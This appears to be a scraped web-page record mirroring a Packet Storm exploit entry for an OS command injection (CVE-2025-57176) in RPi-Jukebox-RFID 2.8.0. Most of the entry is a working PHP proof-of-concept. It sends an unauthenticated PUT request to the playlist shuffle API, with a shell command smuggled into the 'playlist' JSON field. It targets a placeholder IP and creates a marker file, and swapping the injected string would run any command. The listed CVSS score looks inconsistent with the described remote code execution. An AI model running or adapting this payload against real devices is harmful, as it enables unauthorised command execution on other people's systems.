{“lastseen”:”2026-01-23T18:45:17″,”description”:”RPi-Jukebox-RFID version 2.8.0 proof of concept command injection exploit that leverages \/phoniebox\/api\/playlist\/shuffle.php…”,”published”:”2026-01-23T00:00:00″,”modified”:”2026-01-23T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 RPi-Jukebox-RFID 2.8.0 Command Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:214281″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-57176″],”sourceData”:”=============================================================================================================================================\\n | # Title : RPi-Jukebox-RFID 2.8.0 OS Command Injection |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits) |\\n | # Vendor : https:\/\/github.com\/MiczFlor\/RPi-Jukebox-RFID |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/214067\/ \\u0026 CVE-2025-57176\\n \\n [+] Summary : RPi-Jukebox-RFID version 2.8.0 suffers from an OS command injection vulnerability in the API endpoint:\\n \/phoniebox\/api\/playlist\/shuffle.php\\n The \\”playlist\\” JSON parameter is passed directly into a shell command without proper sanitization or escaping. This allows unauthenticated\\n \\t\\t\\t\\t remote attackers to execute arbitrary system commands.\\n \\n [+] POC: A crafted PUT request with a malicious JSON payload allows execution of OS-level commands such as file creation.\\n \\n php poc.php \\n \\n \\u003c?php\\n \\n \\n $target = \\”http:\/\/YOUR-TARGET-IP\/phoniebox\/api\/playlist\/shuffle.php\\”;\\n \\n $injectedCommand = \\”test’;touch indoushka.txt;echo ‘\\”;\\n \\n $data = json_encode([\\n \\”playlist\\” =\\u003e $injectedCommand,\\n \\”shuffle\\” =\\u003e \\”true\\”\\n ]);\\n \\n $headers = [\\n \\”Content-Type: application\/json\\”,\\n \\”User-Agent: Mozilla\/5.0\\”\\n ];\\n \\n $ch = curl_init($target);\\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, \\”PUT\\”);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\\n curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($ch, CURLOPT_TIMEOUT, 5);\\n \\n echo \\”[+] Sending malicious JSON payload…\\\\n\\”;\\n $response = curl_exec($ch);\\n \\n if ($response === false) {\\n echo \\”[-] cURL Error: \\” . curl_error($ch) . \\”\\\\n\\”;\\n } else {\\n $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n echo \\”[+] HTTP Status Code: {$httpCode}\\\\n\\”;\\n echo \\”[*] If vulnerable, file ‘indoushka.txt’ will be created on the server.\\\\n\\”;\\n }\\n \\n curl_close($ch);\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214281″,”cvss”:{“score”:4.3,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:L\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214281\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-23T18:45:17″,”description”:”RPi-Jukebox-RFID version 2.8.0 proof of concept command injection exploit that leverages \/phoniebox\/api\/playlist\/shuffle.php…”,”published”:”2026-01-23T00:00:00″,”modified”:”2026-01-23T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 RPi-Jukebox-RFID 2.8.0 Command Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:214281″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-57176″],”sourceData”:”=============================================================================================================================================\\n | # Title : RPi-Jukebox-RFID 2.8.0 OS Command Injection…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,123,12,21,13,53,7,11,5],"class_list":["post-36925","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-43","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n